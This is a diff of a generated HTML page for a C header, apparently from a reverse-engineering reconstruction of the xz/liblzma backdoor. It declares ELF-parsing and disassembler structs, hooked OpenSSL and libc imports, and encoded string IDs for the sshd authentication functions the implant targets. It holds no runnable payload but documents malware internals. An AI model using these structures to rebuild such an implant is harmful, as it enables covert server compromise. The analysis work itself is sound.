diff --git a/xzre_8h_source.html b/xzre_8h_source.html index 9c15a6b..232882a 100644 --- a/xzre_8h_source.html +++ b/xzre_8h_source.html @@ -78,1541 +78,1536 @@
16 #include <sys/select.h>
17 #endif
18 
-
19 #ifndef XZRE_SLIM
-
20 typedef uint8_t u8;
-
21 typedef uint16_t u16;
-
22 typedef uint32_t u32;
-
23 typedef uint64_t u64;
-
24 typedef uintptr_t uptr;
-
25 #else
-
26 typedef unsigned char u8;
-
27 typedef unsigned short u16;
-
28 typedef unsigned int u32;
-
29 typedef unsigned long long int u64;
-
30 typedef unsigned long int size_t;
-
31 typedef signed long int ssize_t;
-
32 typedef size_t uid_t;
-
33 typedef size_t gid_t;
-
34 typedef uint64_t uptr;
-
35 typedef uptr
-
36  Elf64_Ehdr, Elf64_Phdr, Elf64_Dyn, Elf64_Sym, Elf64_Rela, Elf64_Relr,
-
37  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
-
38  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
-
39  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
-
40 typedef struct {
-
41  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
-
42  void (*free)(void *opaque, void *ptr);
-
43  void *opaque;
-
44 } lzma_allocator;
-
45 #endif
-
46 
-
47 #ifndef XZRE_SLIM
-
48 #include <lzma.h>
-
49 #include <openssl/dsa.h>
-
50 #include <openssl/ec.h>
-
51 #include <openssl/evp.h>
-
52 #include <openssl/rsa.h>
-
53 #include <elf.h>
-
54 #include <link.h>
-
55 typedef Elf64_Xword Elf64_Relr;
-
56 #endif
-
57 
-
58 #define UPTR(x) ((uptr)(x))
-
59 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
-
60 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
-
61 
-
62 /*
-
63  * Force a compilation error if condition is true, but also produce a
-
64  * result (of value 0 and type int), so the expression can be used
-
65  * e.g. in a structure initializer (or where-ever else comma expressions
-
66  * aren't permitted).
-
67  */
-
68 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
-
69 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
-
70 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
-
71 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
-
72 
-
73 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
-
74 struct auditstate
-
75 {
-
76  uintptr_t cookie;
-
77  unsigned int bindflags;
-
78 };
-
79 
-
80 typedef struct link_map *lookup_t;
-
81 
-
82 struct La_i86_regs;
-
83 struct La_i86_retval;
-
84 struct La_x86_64_regs;
-
85 struct La_x86_64_retval;
-
86 struct La_x32_regs;
-
87 struct La_x32_retval;
-
88 
-
89 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
-
90 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
-
91 struct audit_ifaces
-
92 {
-
93  void (*activity) (uintptr_t *, unsigned int);
-
94  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
-
95  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
-
96  void (*preinit) (uintptr_t *);
-
97  union
-
98  {
-
99  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
-
100  uintptr_t *, unsigned int *, const char *);
-
101  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
-
102  uintptr_t *, unsigned int *, const char *);
-
103  };
-
104  union
-
105  {
-
106  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
-
107  uintptr_t *, struct La_i86_regs *,
+
19 typedef uint8_t u8;
+
20 typedef uint16_t u16;
+
21 typedef uint32_t u32;
+
22 typedef uint64_t u64;
+
23 typedef uintptr_t uptr;
+
24 
+
25 #ifdef XZRE_SLIM
+
26 typedef unsigned long int size_t;
+
27 typedef signed long int ssize_t;
+
28 typedef size_t uid_t;
+
29 typedef size_t gid_t;
+
30 typedef uptr
+
31  Elf64_Ehdr, Elf64_Phdr, Elf64_Dyn, Elf64_Sym, Elf64_Rela, Elf64_Relr,
+
32  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
+
33  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
+
34  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
+
35 typedef struct {
+
36  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
+
37  void (*free)(void *opaque, void *ptr);
+
38  void *opaque;
+
39 } lzma_allocator;
+
40 #endif
+
41 
+
42 #ifndef XZRE_SLIM
+
43 #include <lzma.h>
+
44 #include <openssl/dsa.h>
+
45 #include <openssl/ec.h>
+
46 #include <openssl/evp.h>
+
47 #include <openssl/rsa.h>
+
48 #include <elf.h>
+
49 #include <link.h>
+
50 typedef Elf64_Xword Elf64_Relr;
+
51 #endif
+
52 
+
53 #define UPTR(x) ((uptr)(x))
+
54 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
+
55 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
+
56 
+
57 /*
+
58  * Force a compilation error if condition is true, but also produce a
+
59  * result (of value 0 and type int), so the expression can be used
+
60  * e.g. in a structure initializer (or where-ever else comma expressions
+
61  * aren't permitted).
+
62  */
+
63 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
+
64 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
+
65 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
+
66 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
+
67 
+
68 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
+
69 struct auditstate
+
70 {
+
71  uintptr_t cookie;
+
72  unsigned int bindflags;
+
73 };
+
74 
+
75 typedef struct link_map *lookup_t;
+
76 
+
77 struct La_i86_regs;
+
78 struct La_i86_retval;
+
79 struct La_x86_64_regs;
+
80 struct La_x86_64_retval;
+
81 struct La_x32_regs;
+
82 struct La_x32_retval;
+
83 
+
84 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
+
85 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
+
86 struct audit_ifaces
+
87 {
+
88  void (*activity) (uintptr_t *, unsigned int);
+
89  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
+
90  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
+
91  void (*preinit) (uintptr_t *);
+
92  union
+
93  {
+
94  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
+
95  uintptr_t *, unsigned int *, const char *);
+
96  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
+
97  uintptr_t *, unsigned int *, const char *);
+
98  };
+
99  union
+
100  {
+
101  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
+
102  uintptr_t *, struct La_i86_regs *,
+
103  unsigned int *, const char *name,
+
104  long int *framesizep);
+
105  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
+
106  uintptr_t *,
+
107  uintptr_t *, struct La_x86_64_regs *,
108  unsigned int *, const char *name,
109  long int *framesizep);
-
110  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
-
111  uintptr_t *,
-
112  uintptr_t *, struct La_x86_64_regs *,
-
113  unsigned int *, const char *name,
-
114  long int *framesizep);
-
115  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
-
116  uintptr_t *, struct La_x32_regs *,
-
117  unsigned int *, const char *name,
-
118  long int *framesizep);
-
119  };
-
120  union
-
121  {
-
122  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
-
123  uintptr_t *, const struct La_i86_regs *,
-
124  struct La_i86_retval *, const char *);
-
125  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
-
126  uintptr_t *,
+
110  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
+
111  uintptr_t *, struct La_x32_regs *,
+
112  unsigned int *, const char *name,
+
113  long int *framesizep);
+
114  };
+
115  union
+
116  {
+
117  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
+
118  uintptr_t *, const struct La_i86_regs *,
+
119  struct La_i86_retval *, const char *);
+
120  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
+
121  uintptr_t *,
+
122  uintptr_t *,
+
123  const struct La_x86_64_regs *,
+
124  struct La_x86_64_retval *,
+
125  const char *);
+
126  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
127  uintptr_t *,
-
128  const struct La_x86_64_regs *,
+
128  const struct La_x32_regs *,
129  struct La_x86_64_retval *,
130  const char *);
-
131  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
-
132  uintptr_t *,
-
133  const struct La_x32_regs *,
-
134  struct La_x86_64_retval *,
-
135  const char *);
-
136  };
-
137  unsigned int (*objclose) (uintptr_t *);
-
138 
-
139  struct audit_ifaces *next;
-
140 };
+
131  };
+
132  unsigned int (*objclose) (uintptr_t *);
+
133 
+
134  struct audit_ifaces *next;
+
135 };
+
136 
+
137 // opcode is always +0x80 for the sake of it (yet another obfuscation)
+
138 #define XZDASM_OPC(op) (op - 0x80)
+
139 
+
140 typedef int BOOL;
141 
-
142 // opcode is always +0x80 for the sake of it (yet another obfuscation)
-
143 #define XZDASM_OPC(op) (op - 0x80)
+
142 #define TRUE 1
+
143 #define FALSE 0
144 
-
145 typedef int BOOL;
-
146 
-
147 #define TRUE 1
-
148 #define FALSE 0
-
149 
-
150 typedef enum {
-
151  // has lock prefix
-
152  DF_LOCK = 1,
-
153  // has es-segment override
-
154  DF_ESEG = 2,
-
155  // has operand size override
-
156  DF_OSIZE = 4,
-
157  // has address size override
-
158  DF_ASIZE = 8,
-
159  // has rex
-
160  DF_REX = 0x20
-
161 } InstructionFlags;
-
162 
-
163 typedef enum {
-
164  // ELF has JMPREL relocs
-
165  X_ELF_PLTREL = 0x1,
-
166  // ELF has RELA relocs
-
167  X_ELF_RELA = 0x2,
-
168  // ELF has RELR relocs
-
169  X_ELF_RELR = 0x4,
-
170  // ELF has DT_VERSYM
-
171  X_ELF_VERSYM = 0x10,
-
172  // ELF has DF_1_NOW
-
173  X_ELF_NOW = 0x20
-
174 } ElfFlags;
-
175 
-
176 typedef enum {
-
177  // register-indirect addressing or no displacement
-
178  MRM_I_REG, // 00
-
179  // indirect with one byte displacement
-
180  MRM_I_DISP1, // 01
-
181  // indirect with four byte displacement
-
182  MRM_I_DISP4, // 10
-
183  // direct-register addressing
-
184  MRM_D_REG // 11
-
185 } ModRm_Mod;
-
186 
-
187 typedef enum {
-
188  // find function beginning by looking for endbr64
-
189  FIND_ENDBR64,
-
190  // find function beginning by looking for padding,
-
191  // then getting the instruction after it
-
192  FIND_NOP
-
193 } FuncFindType;
-
194 
-
195 typedef enum {
-
200  X_ELF_MAIN = 0,
-
201  X_ELF_DYNAMIC_LINKER = 1,
-
202  X_ELF_LIBC = 2,
-
203  X_ELF_LIBCRYPTO = 3
-
204 } ElfId;
-
205 
-
206 typedef enum {
-
207  XREF_xcalloc_zero_size = 0,
-
208  XREF_Could_not_chdir_to_home_directory_s_s = 1,
-
209  XREF_list_hostkey_types = 2,
-
210  XREF_demote_sensitive_data = 3,
-
211  XREF_mm_terminate = 4,
-
212  XREF_mm_pty_allocate = 5,
-
213  XREF_mm_do_pam_account = 6,
-
214  XREF_mm_session_pty_cleanup2 = 7,
-
215  XREF_mm_getpwnamallow = 8,
-
216  XREF_mm_sshpam_init_ctx = 9,
-
217  XREF_mm_sshpam_query = 10,
-
218  XREF_mm_sshpam_respond = 11,
-
219  XREF_mm_sshpam_free_ctx = 12,
-
220  XREF_mm_choose_dh = 13,
-
221  XREF_sshpam_respond = 14,
-
222  XREF_sshpam_auth_passwd = 15,
-
223  XREF_sshpam_query = 16,
-
224  XREF_start_pam = 17,
-
225  XREF_mm_request_send = 18,
-
226  XREF_mm_log_handler = 19,
-
227  XREF_Could_not_get_agent_socket = 20,
-
228  XREF_auth_root_allowed = 21,
-
229  XREF_mm_answer_authpassword = 22,
-
230  XREF_mm_answer_keyallowed = 23,
-
231  XREF_mm_answer_keyverify = 24,
-
232  XREF_48s_48s_d_pid_ld_ = 25,
-
233  XREF_Unrecognized_internal_syslog_level_code_d = 26
-
234 } StringXrefId;
-
235 
-
236 typedef enum {
-
237  STR_from = 0x810,
-
238  STR_ssh2 = 0x678,
-
239  STR_48s_48s_d_pid_ld_ = 0xd8,
-
240  STR_s = 0x708,
-
241  STR_usr_sbin_sshd = 0x108,
-
242  STR_Accepted_password_for = 0x870,
-
243  STR_Accepted_publickey_for = 0x1a0,
-
244  STR_BN_bin2bn = 0xc40,
-
245  STR_BN_bn2bin = 0x6d0,
-
246  STR_BN_dup = 0x958,
-
247  STR_BN_free = 0x418,
-
248  STR_BN_num_bits = 0x4e0,
-
249  STR_Connection_closed_by = 0x790,
-
250  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
-
251  STR_Could_not_get_agent_socket = 0xb0,
-
252  STR_DISPLAY = 0x960,
-
253  STR_DSA_get0_pqg = 0x9d0,
-
254  STR_DSA_get0_pub_key = 0x468,
-
255  STR_EC_KEY_get0_group = 0x7e8,
-
256  STR_EC_KEY_get0_public_key = 0x268,
-
257  STR_EC_POINT_point2oct = 0x6e0,
-
258  STR_EVP_CIPHER_CTX_free = 0xb28,
-
259  STR_EVP_CIPHER_CTX_new = 0x838,
-
260  STR_EVP_DecryptFinal_ex = 0x2a8,
-
261  STR_EVP_DecryptInit_ex = 0xc08,
-
262  STR_EVP_DecryptUpdate = 0x3f0,
-
263  STR_EVP_Digest = 0xf8,
-
264  STR_EVP_DigestVerify = 0x408,
-
265  STR_EVP_DigestVerifyInit = 0x118,
-
266  STR_EVP_MD_CTX_free = 0xd10,
-
267  STR_EVP_MD_CTX_new = 0xaf8,
-
268  STR_EVP_PKEY_free = 0x6f8,
-
269  STR_EVP_PKEY_new_raw_public_key = 0x758,
-
270  STR_EVP_PKEY_set1_RSA = 0x510,
-
271  STR_EVP_chacha20 = 0xc28,
-
272  STR_EVP_sha256 = 0xc60,
-
273  STR_EVP_sm = 0x188,
-
274  STR_GLIBC_2_2_5 = 0x8c0,
-
275  STR_GLRO_dl_naudit_naudit = 0x6a8,
-
276  STR_KRB5CCNAME = 0x1e0,
-
277  STR_LD_AUDIT = 0xcf0,
-
278  STR_LD_BIND_NOT = 0xbc0,
-
279  STR_LD_DEBUG = 0xa90,
-
280  STR_LD_PROFILE = 0xb98,
-
281  STR_LD_USE_LOAD_BIAS = 0x3e0,
-
282  STR_LINES = 0xa88,
-
283  STR_RSA_free = 0xac0,
-
284  STR_RSA_get0_key = 0x798,
-
285  STR_RSA_new = 0x918,
-
286  STR_RSA_public_decrypt = 0x1d0,
-
287  STR_RSA_set0_key = 0x540,
-
288  STR_RSA_sign = 0x8f8,
-
289  STR_SSH_2_0 = 0x990,
-
290  STR_TERM = 0x4a8,
-
291  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
-
292  STR_WAYLAND_DISPLAY = 0x158,
-
293  STR_errno_location = 0x878,
-
294  STR_libc_stack_end = 0x2b0,
-
295  STR_libc_start_main = 0x228,
-
296  STR_dl_audit_preinit = 0xa60,
-
297  STR_dl_audit_symbind_alt = 0x9c8,
-
298  STR_exit = 0x8a8,
-
299  STR_r_debug = 0x5b0,
-
300  STR_rtld_global = 0x5b8,
-
301  STR_rtld_global_ro = 0xa98,
-
302  STR_auth_root_allowed = 0xb8,
-
303  STR_authenticating = 0x1d8,
-
304  STR_demote_sensitive_data = 0x28,
-
305  STR_getuid = 0x348,
-
306  STR_ld_linux_x86_64_so = 0xa48,
-
307  STR_libc_so = 0x7d0,
-
308  STR_libcrypto_so = 0x7c0,
-
309  STR_liblzma_so = 0x590,
-
310  STR_libsystemd_so = 0x938,
-
311  STR_list_hostkey_types = 0x20,
-
312  STR_malloc_usable_size = 0x440,
-
313  STR_mm_answer_authpassword = 0xc0,
-
314  STR_mm_answer_keyallowed = 0xc8,
-
315  STR_mm_answer_keyverify = 0xd0,
-
316  STR_mm_answer_pam_start = 0x948,
-
317  STR_mm_choose_dh = 0x78,
-
318  STR_mm_do_pam_account = 0x40,
-
319  STR_mm_getpwnamallow = 0x50,
-
320  STR_mm_log_handler = 0xa8,
-
321  STR_mm_pty_allocate = 0x38,
-
322  STR_mm_request_send = 0xa0,
-
323  STR_mm_session_pty_cleanup2 = 0x48,
-
324  STR_mm_sshpam_free_ctx = 0x70,
-
325  STR_mm_sshpam_init_ctx = 0x58,
-
326  STR_mm_sshpam_query = 0x60,
-
327  STR_mm_sshpam_respond = 0x68,
-
328  STR_mm_terminate = 0x30,
-
329  STR_parse_PAM = 0xc58,
-
330  STR_password = 0x400,
-
331  STR_preauth = 0x4f0,
-
332  STR_pselect = 0x690,
-
333  STR_publickey = 0x7b8,
-
334  STR_read = 0x308,
-
335  STR_rsa_sha2_256 = 0x710,
-
336  STR_setlogmask = 0x428,
-
337  STR_setresgid = 0x5f0,
-
338  STR_setresuid = 0xab8,
-
339  STR_shutdown = 0x760,
-
340  STR_ssh_2_0 = 0xd08,
-
341  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
-
342  STR_sshpam_auth_passwd = 0x88,
-
343  STR_sshpam_query = 0x90,
-
344  STR_sshpam_respond = 0x80,
-
345  STR_start_pam = 0x98,
-
346  STR_system = 0x9f8,
-
347  STR_unknown = 0x198,
-
348  STR_user = 0xb10,
-
349  STR_write = 0x380,
-
350  STR_xcalloc_zero_size = 0x10,
-
351  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
352  STR_ELF = 0x300,
-
353 } EncodedStringId;
-
354 
-
355 #ifndef XZRE_SLIM
-
356 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
357 #else
-
358 #define assert_offset(t, f, o)
-
359 #endif
-
360 
-
361 #define CONCAT(x, y) x ## y
-
362 #define EXPAND(x, y) CONCAT(x, y)
-
363 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
364 
-
365 typedef struct __attribute__((packed)) elf_entry_ctx {
-
370  void *symbol_ptr;
-
374  void *got_ptr;
-
381  void *return_address;
-
385  void *cpuid_fn;
-
390  ptrdiff_t got_offset;
-
394  u64 *frame_address;
-
395 } elf_entry_ctx_t;
-
396 
-
397 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
-
398 assert_offset(elf_entry_ctx_t, got_ptr, 8);
-
399 assert_offset(elf_entry_ctx_t, return_address, 0x10);
-
400 assert_offset(elf_entry_ctx_t, cpuid_fn, 0x18);
-
401 assert_offset(elf_entry_ctx_t, got_offset, 0x20);
-
402 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
-
403 
-
404 typedef struct __attribute__((packed)) dasm_ctx {
-
405  u8* instruction;
-
406  u64 instruction_size;
-
407  u8 flags;
-
408  u8 flags2;
-
409  PADDING(2);
-
410  u8 lock_byte;
-
411  u8 _unk1;
-
412  u8 last_prefix;
-
413  PADDING(4);
-
414  u8 rex_byte;
-
415  u8 modrm;
-
416  u8 modrm_mod;
-
417  u8 modrm_reg;
-
418  u8 modrm_rm;
-
419  PADDING(4);
-
420  u8 byte_24;
-
421  PADDING(3);
-
422  u32 opcode;
-
423  PADDING(4);
-
424  u64 mem_disp;
-
425  // e.g. in CALL
-
426  u64 operand;
-
427  PADDING(16);
-
428  u8 insn_offset;
-
429  PADDING(7);
-
430 } dasm_ctx_t;
-
431 
-
432 assert_offset(dasm_ctx_t, instruction, 0);
-
433 assert_offset(dasm_ctx_t, instruction_size, 8);
-
434 assert_offset(dasm_ctx_t, flags, 0x10);
-
435 assert_offset(dasm_ctx_t, flags2, 0x11);
-
436 assert_offset(dasm_ctx_t, lock_byte, 0x14);
-
437 assert_offset(dasm_ctx_t, last_prefix, 0x16);
-
438 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
-
439 assert_offset(dasm_ctx_t, modrm, 0x1C);
-
440 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
-
441 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
-
442 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
-
443 assert_offset(dasm_ctx_t, opcode, 0x28);
-
444 assert_offset(dasm_ctx_t, mem_disp, 0x30);
-
445 assert_offset(dasm_ctx_t, operand, 0x38);
-
446 assert_offset(dasm_ctx_t, insn_offset, 0x50);
-
447 static_assert(sizeof(dasm_ctx_t) == 0x58);
-
448 
-
449 typedef struct __attribute__((packed)) elf_info {
-
453  Elf64_Ehdr *elfbase;
-
457  u64 first_vaddr;
-
461  Elf64_Phdr *phdrs;
-
465  u64 e_phnum;
-
469  Elf64_Dyn *dyn;
-
473  u64 dyn_num_entries;
-
477  char *strtab;
-
481  Elf64_Sym *symtab;
-
485  Elf64_Rela *plt_relocs;
-
489  u32 plt_relocs_num;
-
495  BOOL gnurelro_found;
-
499  u64 gnurelro_vaddr;
-
503  u64 gnurelro_memsize;
-
507  Elf64_Verdef *verdef;
-
511  u64 verdef_num;
-
512  Elf64_Versym *versym;
-
513  Elf64_Rela *rela_relocs;
-
514  u32 rela_relocs_num;
-
515  u32 _unused0;
-
516  Elf64_Relr *relr_relocs;
-
517  u32 relr_relocs_num;
-
518  PADDING(4);
-
523  u64 code_segment_start;
-
528  u64 code_segment_size;
-
529 
-
530  u64 rodata_segment_start;
-
531  u64 rodata_segment_size;
-
532  u64 data_segment_start;
-
533  u64 data_segment_size;
-
534  u64 data_segment_alignment;
-
535 
-
536  u8 flags;
-
537  PADDING(7);
-
541  u32 gnu_hash_nbuckets;
-
545  u32 gnu_hash_last_bloom;
-
546  u32 gnu_hash_bloom_shift;
-
547  PADDING(4);
-
548  u64 *gnu_hash_bloom;
-
549  u32 *gnu_hash_buckets;
-
550  u32 *gnu_hash_chain;
-
551 } elf_info_t;
-
552 
-
553 assert_offset(elf_info_t, elfbase, 0x0);
-
554 assert_offset(elf_info_t, first_vaddr, 0x8);
-
555 assert_offset(elf_info_t, phdrs, 0x10);
-
556 assert_offset(elf_info_t, e_phnum, 0x18);
-
557 assert_offset(elf_info_t, dyn, 0x20);
-
558 assert_offset(elf_info_t, dyn_num_entries, 0x28);
-
559 assert_offset(elf_info_t, strtab, 0x30);
-
560 assert_offset(elf_info_t, symtab, 0x38);
-
561 assert_offset(elf_info_t, plt_relocs, 0x40);
-
562 assert_offset(elf_info_t, plt_relocs_num, 0x48);
-
563 assert_offset(elf_info_t, gnurelro_found, 0x4C);
-
564 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
-
565 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
-
566 assert_offset(elf_info_t, verdef, 0x60);
-
567 assert_offset(elf_info_t, verdef_num, 0x68);
-
568 assert_offset(elf_info_t, versym, 0x70);
-
569 assert_offset(elf_info_t, rela_relocs, 0x78);
-
570 assert_offset(elf_info_t, rela_relocs_num, 0x80);
-
571 assert_offset(elf_info_t, relr_relocs, 0x88);
-
572 assert_offset(elf_info_t, relr_relocs_num, 0x90);
-
573 assert_offset(elf_info_t, code_segment_start, 0x98);
-
574 assert_offset(elf_info_t, code_segment_size, 0xA0);
-
575 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
-
576 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
-
577 assert_offset(elf_info_t, data_segment_start, 0xB8);
-
578 assert_offset(elf_info_t, data_segment_size, 0xC0);
-
579 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
-
580 assert_offset(elf_info_t, flags, 0xD0);
-
581 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
-
582 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
-
583 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
-
584 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
-
585 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
-
586 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
-
587 static_assert(sizeof(elf_info_t) == 0x100);
-
588 
-
589 typedef struct __attribute__((packed)) libc_imports {
-
590  u32 resolved_imports_count;
-
591  PADDING(4);
-
592  size_t (*malloc_usable_size)(void *ptr);
-
593  uid_t (*getuid)(void);
-
594  void (*exit)(int status);
-
595  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
-
596  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
-
597  int (*system)(const char *command);
-
598  ssize_t (*write)(int fd, const void *buf, size_t count);
-
599  int (*pselect)(
-
600  int nfds, fd_set *readfds, fd_set *writefds,
-
601  fd_set *exceptfds, const struct timespec *timeout,
-
602  const sigset_t *sigmask);
-
603  ssize_t (*read)(int fd, void *buf, size_t count);
-
604  int *(*__errno_location)(void);
-
605  int (*setlogmask)(int mask);
-
606  int (*shutdown)(int sockfd, int how);
-
607  void *__libc_stack_end;
-
608 } libc_imports_t;
-
609 
-
610 assert_offset(libc_imports_t, resolved_imports_count, 0);
-
611 assert_offset(libc_imports_t, malloc_usable_size, 8);
-
612 assert_offset(libc_imports_t, getuid, 0x10);
-
613 assert_offset(libc_imports_t, exit, 0x18);
-
614 assert_offset(libc_imports_t, setresgid, 0x20);
-
615 assert_offset(libc_imports_t, setresuid, 0x28);
-
616 assert_offset(libc_imports_t, system, 0x30);
-
617 assert_offset(libc_imports_t, write, 0x38);
-
618 assert_offset(libc_imports_t, pselect, 0x40);
-
619 assert_offset(libc_imports_t, read, 0x48);
-
620 assert_offset(libc_imports_t, __errno_location, 0x50);
-
621 assert_offset(libc_imports_t, setlogmask, 0x58);
-
622 assert_offset(libc_imports_t, shutdown, 0x60);
-
623 static_assert(sizeof(libc_imports_t) == 0x70);
-
624 
-
625 typedef int (*pfn_RSA_public_decrypt_t)(
-
626  int flen, unsigned char *from, unsigned char *to,
-
627  RSA *rsa, int padding);
-
628 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
-
629 typedef void (*pfn_RSA_get0_key_t)(
-
630  const RSA *r,
-
631  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
-
632 
-
633 typedef struct __attribute__((packed)) imported_funcs {
-
634  pfn_RSA_public_decrypt_t RSA_public_decrypt;
-
635  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
636  // ???
-
637  void (*RSA_get0_key_null)(
-
638  const RSA *r, const BIGNUM **n,
-
639  const BIGNUM **e, const BIGNUM **d);
-
644  void *RSA_public_decrypt_plt;
-
649  void *EVP_PKEY_set1_RSA_plt;
-
654  void *RSA_get0_key_plt;
-
655  void (*DSA_get0_pqg)(
-
656  const DSA *d, const BIGNUM **p,
-
657  const BIGNUM **q, const BIGNUM **g);
-
658  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
-
659  size_t (*EC_POINT_point2oct)(
-
660  const EC_GROUP *group, const EC_POINT *p,
-
661  point_conversion_form_t form, unsigned char *buf,
-
662  size_t len, BN_CTX *ctx);
-
663  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
-
664  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
-
665  EVP_MD *(*EVP_sha256)(void);
-
666  pfn_RSA_get0_key_t RSA_get0_key;
-
667  int (*BN_num_bits)(const BIGNUM *a);
-
668  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
669  int type, ENGINE *e,
-
670  const unsigned char *key, size_t keylen);
-
671  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
-
672  int (*EVP_DigestVerifyInit)(
-
673  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
-
674  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
-
675  int (*EVP_DigestVerify)(
-
676  EVP_MD_CTX *ctx, const unsigned char *sig,
-
677  size_t siglen, const unsigned char *tbs, size_t tbslen);
-
678  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
-
679  void (*EVP_PKEY_free)(EVP_PKEY *key);
-
680  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
-
681  int (*EVP_DecryptInit_ex)(
